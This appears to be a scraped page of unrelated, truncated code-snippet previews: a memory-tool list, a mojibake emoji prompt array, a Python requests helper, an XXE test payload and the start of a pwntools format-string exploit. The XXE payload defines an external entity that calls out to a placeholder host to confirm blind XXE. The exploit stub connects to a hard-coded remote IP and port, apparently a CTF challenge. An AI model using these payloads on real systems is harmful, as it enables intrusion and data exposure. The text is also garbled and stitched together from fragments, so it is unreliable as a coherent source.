Required tools for playing around with memory:
hexdumpobjdumpreadelfxxdgcore
| # emojiparty: a blend of random-emoji and terminalparty | |
| PROMPT_EMOJI=(๐ถ ๐ฑ ๐ญ ๐น ๐ฐ ๐ป ๐ผ ๐จ ๐ฏ ๐ฆ ๐ฎ ๐ท ๐ฝ ๐ต ๐ ๐ ๐ ๐ ๐ ๐ง \ | |
| ๐ฆ ๐ค ๐ฃ ๐ฅ ๐บ ๐ ๐ด ๐ฆ ๐ ๐ ๐ ๐ ๐ท ๐ฆ ๐ ๐ ๐ก ๐ฌ ๐ณ ๐ ๐ ๐ ๐ ๐ \ | |
| ๐ ๐ช ๐ซ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ฆ ๐ ๐ ๐ฉ ๐ ๐ ๐ฟ ๐ ๐ ๐พ ๐บ \ | |
| ๐ป ๐ท ๐ผ ๐ธ ๐ ๐ฐ ๐ ๐ ๐ธ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ฒ ๐ ๐ ๐ ๐ \ | |
| ๐ก ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ฉ ๐ซ ๐ฌ โต๏ธ ๐ฅ ๐ค โด ๐ณ ๐ ๐ฐ ๐บ ๐ง \ | |
| ๐ ๐ฌ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ ๐ค ๐ค \ | |
| ๐ ๐ค ๐ ๐ถ ๐ ๐ ๐ ๐ ๐ค ๐ณ ๐ ๐ ๐ ๐ ๐ ๐ ๐ฃ ๐ ๐ฏ ๐ฆ ๐ง ๐ต ๐ฒ ๐ค \ | |
| ๐ท ๐ค ๐ค ๐ด ๐ค ๐ ๐ฝ ๐ค ๐บ ๐ธ ๐ป ๐ผ ๐ฝ ๐พ โฝ๏ธ ๐ ๐ ๐ ๐ ๐ฑ ๐ ๐ธ ๐ ๐ \ |
| #!/usr/bin/env python3 | |
| import requests | |
| client = requests.Session() | |
| debug = False | |
| def post(url, data, headers=None, proxy=False): | |
| if not headers: | |
| headers = {} | |
| headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36' |
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
| from pwn import * | |
| from libformatstr import * | |
| file = ELF("./32_new") | |
| flag = 0x0804870b | |
| r = remote("163.172.176.29",9035) | |
| r.recvuntil("name?") |